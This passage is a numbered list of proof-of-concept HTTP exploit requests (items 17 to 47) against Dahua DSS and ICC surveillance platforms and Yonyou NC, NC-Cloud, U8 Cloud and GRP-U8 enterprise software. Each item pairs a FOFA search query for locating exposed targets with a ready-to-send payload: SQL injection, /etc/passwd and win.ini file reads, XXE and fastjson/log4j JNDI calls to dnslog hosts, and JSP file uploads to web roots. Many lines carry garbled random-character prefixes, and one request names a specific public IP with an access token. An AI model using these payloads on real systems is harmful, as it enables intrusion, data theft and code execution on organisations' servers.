3 [- f  o* F" a( T& [poc中调用函数计算1234的md5值
1 U# n& m0 s! W: {0 I  XGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
* c7 E# j* U% S' a% c! YAccept: */*
Accept-Language: en
Accept-Encoding: gzip
) k7 [' m3 A1 `6 G

17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ ]: B: |( J$ K3 f& P) d( ^' EConnection: close
Content-Length: 345
Accept-Encoding: gzip
: v% S) ~4 \% f5 k3 o
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
$ E1 {4 g7 q) A  a6 T. W<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
4 \3 V, ?5 L  a# }6 ]      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
$ U: ?/ R0 k% B# _1 [    </ns1:deleteBulletin>
  </s11:Body>
1 v0 c* u% x* _6 n( g9 b4 |; ?</s11:Envelope>
" ?- K" X+ i" [5 j( ~% Z/ }. j6 c

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
3 }$ y; J2 }& \0 {FOFA：app="dahua-DSS"
6 e+ z' Q+ @* f$ `/ r3 ^GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ L) l( e0 p/ A% H& A7 wAccept-Encoding: gzip, deflate
Accept: */*
) y/ J* u: V8 |Connection: keep-alive
7 h. i$ z* {2 d! A, Y. V


( ^) f, [' @( @" W& [19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
- Y5 W9 n* g( e0 k* A4 n4 L6 }! P( D, tUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
3 }% }% o9 v7 m0 O% L. r  o. YConnection: keep-alive

  p) \) A8 a+ s8 r7 X' b
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
# ~. x7 x) H# {! `1 s  a* \6 |1 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
- G" C% A' `0 M- d, {Accept: */*
8 y2 }; X, `$ o6 F& l9 GAccept-Language: en
Accept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
3 j3 \/ e8 g/ LFOFA：icon_hash="-1935899595"
- m" d  b( O% o4 x0 W+ `+ D! }POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
/ D! v1 Q! H& N! i1 F- }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- j# o$ S; g/ x( d3 t! {6 Q1 xContent-Length: 161
Accept-Encoding: gzip
Connection: close
2 P) }/ x6 P: i9 rContent-Type: application/json;charset=utf-8

{
2 Y& q1 k. k/ i"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
# q+ }* r8 b5 Z4 c2 Q. d    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
' m7 a) R# t' I# K5 Y; f# U8 }( g& {  }""
: ?! a# f/ o1 V}

0 A) O# e+ F3 c: U* B0 A5 A  X' S  e
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
+ }3 i' S/ g5 G& S4 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
2 E3 x( r+ F0 E$ B1 ]"loginName":"${jndi:ldap://dnslog}"
}
9 S' z# h8 e( r8 n# ]
6 \% ]  S0 e% |% O2 ^
) q8 U* ?5 f% B& }7 w/ B
# a" I( B# g- v+ @" ^* n23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
  e0 k4 \& l3 s. e1 T1 k: n- X6 vFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) S& u9 b( |) m: rContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
( Z* e, Y% ^. E
{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
9 o. u1 `7 T- @       {"@type":"java.net.URL","val":"http://DNSLOG"}
: W3 u, z0 \% Y4 l$ H3 F! s: j' o        }""
& B' s0 d, D5 M2 o}
- K2 O$ h0 u, i( d0 i* c3 }( q3 U

24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
6 y9 h2 V7 k: \8 i  RPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
. j; y0 P' }1 j7 l& {Content-Length: 449
Accept: */*
% T  S5 e9 w1 H  U5 Z* CAccept-Encoding: gzip
2 P; q. y+ d/ u$ M5 aContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

* G) f1 \4 @0 q% S" Q7 E7 J-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
3 C$ d- l& I3 zContent-Type: text/plain
8 z9 S( j( T# ]. ?( h1 X
5 P* e/ S8 n# ]1 E; ]$ B6 [! H<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
* \, u( L4 E& A0 Y-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
$ X+ `( y# [% X7 q9 xContent-Disposition: form-data; name="fname"
8 z# N% U2 n0 K' t
# f) _. E/ h- {\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
+ N1 }- b+ n% {" C( Z9 M-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
* c8 H; w9 l9 h( _9 Z" ]4 ]2 g
+ t" m6 Z# K3 W- s7 F  f6 _0 h8 u' @
25. 用友NC registerServlet JNDI 远程代码执行
1 W( y# g9 l* B/ C' V9 UFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
) {  C6 d6 F# i/ \Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
* D% x8 s& E( x7 c: lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
1 `! ^/ X( y: Z9 \: E& T/ g- OAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
$ P1 u2 @4 ?2 p2 I. c7 G( o
type=1&dsname=ldap://dnslog
5 @4 A7 X* d! P$ `
+ b/ l0 M7 @$ v( ]/ G% q

26. 用友NC linkVoucher SQL注入
, D7 W8 c9 Y; OFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; G7 U; w7 Z4 S! F9 oContent-Type: application/x-www-form-urlencoded
" r  n* {3 P/ X/ S9 [" FAccept-Encoding: gzip, deflate
Accept: */*
" s6 o9 K3 t/ h- u# ?3 Q* Y7 {- sConnection: keep-alive


27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
$ f, d& s$ N. R+ @% z5 F2 JHost: your-ip
# y" z  v  Y3 d+ xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
  `9 C' ?+ J# r& b" @Connection: close
Content-Type: text/xml; charset=utf-8

# ~: C3 V% J. c" D+ d
; j- ~. d& d6 i* B1 z28. 用友NC grouptemplet 任意文件上传
- @# o  m, L8 \. V% \/ v1 K- g/ @FOFA：icon_hash="1085941792"
; K* g, L1 v4 T- j. {9 MPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
/ ?) J) o2 J, }4 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
# Z( Q( M" I2 e' c2 X; IContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
" t! u/ A; w" \/ _% k+ pAccept-Encoding: gzip
- f9 q% j$ Y' t. b" [+ R' k
' C! X$ A3 ]! \4 ^4 U# r------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
. E% z4 X( y. W, M4 v; V0 n; s* Q5 }Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
3 Y( `, s8 q% Q  x5 \6 vContent-Type: application/octet-stream
1 H9 Z1 R$ N: O
- F+ C, k! Y% f3 {<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
; f# ~1 a* G  ~& R0 w& U2 X: x------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
. E9 l: d* Y! f& f$ \

9 a  P' p  |7 a" s% |# R. Q/uapim/static/pages/nc/head.jsp

0 i0 J) m+ n8 u  U7 I# M29. 用友NC down/bill SQL注入
4 ]$ Q- u0 q$ t! EFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
8 g! {' `, |5 c* |. T) z* y& ]& s9 zGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
! K; ]$ V) _7 f4 NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 N, p$ f+ q7 yContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
5 @, Q- o: H3 z  u6 P4 i5 V5 dConnection: keep-alive


30. 用友NC importPml SQL注入
# T1 G1 c) q" H, YFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
% Z  u; t6 p- }) N# n! o, L2 PHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
* j! H5 V( z. W) q" u- @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
4 m/ ]& @6 }% Z- s& ]' m3 _* t3 ~
------WebKitFormBoundaryH970hbttBhoCyj9V
4 D! c4 H& j4 a; |8 JContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
- t( e" l% Z* l; x. \------WebKitFormBoundaryH970hbttBhoCyj9V--
9 r" ^3 i' I- E3 k7 D# Y

31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
! l3 T! m2 b$ @2 s; \Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
- k9 P/ q  x6 tversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
; a& O, n7 Z9 qHost: your-ip
( ]$ B# r8 e% F4 l5 {1 z, v, MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 j0 A5 ^$ Z1 A3 J. |- C) ?3 pAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

! j% N- }' l6 G  V) c
5 a4 I* Q$ ?; h+ _" Q3 h33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
. j" s( k9 B; f0 N' |GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ j5 p3 M. p0 `2 IContent-Type: application/x-www-form-urlencoded
( h8 f5 G) m; n, A. R+ J8 mAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
# d8 b: u+ q( o9 R: @5 T1 N

5 `0 n8 J' `0 {% I. T+ g+ i34. 用友NC warningDetailInfo接口SQL注入
" n# K: P  l' g$ bFOFA：app="用友-UFIDA-NC"
) Q4 k8 _: J2 z" j) mGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
& j) A9 o. M5 Y; M% A% GHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: r' Z' {0 L! `: g5 DContent-Type: application/x-www-form-urlencoded
6 R5 Y: W$ H2 ]Accept-Encoding: gzip, deflate
Accept: */*
! j1 g( e& ~4 ^; mConnection: keep-alive
0 m0 A) {9 l$ p6 D3 ~' |

: h7 a+ G/ |/ S8 v35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
. |& U) g4 H6 B1 O7 ^6 ^User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
2 C0 |4 g/ r' s- ?3 L  g, S$ i3 KAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
# h3 J* c* j: ~accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
8 ~0 I% p$ i, |0 x! T+ O9 E
! d& l/ G0 L; S0 z6 b--fd28cb44e829ed1c197ec3bc71748df0
! x1 v3 ^! U4 W- p& E) QContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

& P2 V/ W( t1 M0 D<%out.println(1111*1111);%>
) Y1 y: B) ^0 e--fd28cb44e829ed1c197ec3bc71748df0--


) M8 ]; y+ r6 }' y; g36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
: Z- s  H% P1 q0 [/ BHost: 192.168.40.130:8989
! a8 V3 x9 U+ o* \3 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
7 u$ W, }( c0 w. IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# C) E: k, s+ m* CAccept-Encoding: gzip, deflate
! P6 ?) D# M1 L8 {. z; bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# O: F" {; V  E" u/ OConnection: close
Content-Type: application/x-www-form-urlencoded
' E3 ?" `2 M5 Q- Q. F2 BUpgrade-Insecure-Requests: 1

' k* b: L6 u! X+ c1 i  ^1 ?- \msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

/ {* |7 s  {1 v5 g
" [6 n) j9 t" _37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
$ d) }6 s& k% VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
" p. C$ M/ z; ]- \5 ^, wAccept-Language: zh-CN,zh;q=0.9
Connection: close
- n8 s3 `5 i$ O' O" {Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
3 g! e+ X' T- z/ O; J% @+ BUpgrade-Insecure-Requests: 1
% l8 K9 S0 O2 f' n: G8 u
* ^& ]& M' v% b0 X4 N4 `* d<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
( o; B# p4 C: O1 {<iup:getResult>
9 k3 a) N; I7 o<!--type: string-->
6 N# S5 }: B( B( o4 K) F: v<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
! z: k0 N+ V9 m% H</soapenv:Envelope>
/ D% g' h5 m8 p+ K! s7 ^, j
3 m  A% h; H- ~& u. L9 E0 |+ H
3 F6 Q" Z1 B& o7 X: h' D2 x) B$ `8 @  L7 {
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
6 S3 w) i! Q# P, ~6 |# Q4 |& |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
1 u! M" W( z$ U" v$ q& CContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
  d+ z) d' L: A2 Y' JAccept-Encoding: gzip, deflate
8 c9 g, r+ y( Q& S. f& ^0 p* KAccept-Language: zh-CN,zh;q=0.9
: R  j1 C8 z* r* M1 P* [' Y5 ~Connection: close
Content-Type: application/x-www-form-urlencoded

( R1 r1 v. k3 |/ e" _9 p  \/ h9 V5 I0 v__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


  n' w/ f6 ~4 I7 b39. 用友U8 Cloud RegisterServlet SQL注入
' ^+ J  m5 K5 f) Y0 B, K' yFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
' D+ `0 E. @6 D5 T+ |% N% B9 a5 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
3 I. N1 p7 v( P  E# RAccept-Language: en
Content-Type: application/x-www-form-urlencoded
; F5 Y% F: B& z; R( Y6 l, A. dX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
4 ^6 u5 m9 N1 p9 z! y6 H5 r: M
" l2 G& `; p0 k. |# Busercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

& n' g# l5 x# ^! @4 R: S* W
6 f/ y1 W% _$ f# e  l  v40. 用友U8-Cloud XChangeServlet XXE
, U5 }& f0 `# `: i# i# K& N; K; @# mFOFA：app="用友-U8-Cloud"
4 R" O  X  u0 yPOST /service/XChangeServlet HTTP/1.1
' X3 [  K; {9 R& A% fHost: x.x.x.x
8 d: t9 C8 y4 kUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 K3 v$ c* g8 j( z8 @0 d4 tContent-Type: text/xml
2 I0 Y2 \6 a1 y2 V0 ?7 ], nConnection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
: m- ]  T* {/ L% F2 ]
2 b+ k9 h1 _1 |8 f& h
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
% _* o7 ~7 W; h0 S" J, u& o+ {% Q5 _FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
4 l9 m7 n0 h3 h- i  l. rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
2 K: t- K0 f1 g. QConnection: close
+ C% D5 e' C# M$ {% w8 O
! v0 G0 M5 d" ?5 \3 t
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
6 W$ X7 E$ C* c& A1 p
2 T6 i7 e; p' L: U2 b, ?" N
) y+ g8 x6 z/ c; ^http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

- U( k$ a7 T+ c( m2 t( f3 W7 i43. 用友GRP-U8 userInfoWeb SQL注入致RCE
2 h+ F! u) B7 ]9 y% E/ NFOFA：app="用友-GRP-U8"
3 f$ f& E7 ?7 {: [# N- k6 JPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
$ L) |& O6 G5 J* G9 ^' u' oAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
( z$ o- K6 _( _7 HContent-Type: text/xml;charset=UTF-8

0 p1 G) K+ G9 R; g. V% Y8 D( K# d' a<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
3 [$ ~8 \* b$ ^8 j' r( H      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
0 |8 Z2 X* H& U* P      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
" @7 ~* u' Z2 j0 p4 b
) B/ v9 _/ F' i* j* u7 M) w
" u+ m7 J* @0 g44. 用友GRP-U8 bx_dj_check.jsp SQL注入
. L# F* t! v9 T% E% p4 ZFOFA:app="用友-GRP-U8"
1 ~; S$ d( y# w" M) s0 TGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
, d5 Z$ F) R; OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
5 Y9 i# i# k" UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' r" n9 v5 [8 S+ h& _' a) R. I$ CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
. A5 I2 w5 L: _: U4 _
) ^( A7 B  E2 y) w
9 o7 d& l6 V. `45. 用友GRP-U8 ufgovbank XXE
. F! M3 {0 }4 l2 J; m6 f1 j" gFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
% @/ o* t' K+ _Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 V) U. _3 }. C5 h: ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 G& v$ L' d4 D. ^6 wContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
" a" t  w* S9 R+ l5 @2 F
# y0 r$ ^$ j4 V" p2 MreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

. J- d' W$ F# U. Y
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
" |) Z* u; t( _- D5 ~( i2 K2 E% \. `FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
2 b% v0 W. N) E1 b, J. jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 f& v) T$ k6 n( H! L0 u6 `  W: JConnection: close

) @( x  y0 A. h3 p6 \+ |% L
5 F5 n% O$ n+ O& C+ |( S1 j47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
' T. j# l# N; \, u0 LGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
0 ~# z% d, M) N3 CCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
5 F7 ~1 ~+ G& L; p5 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
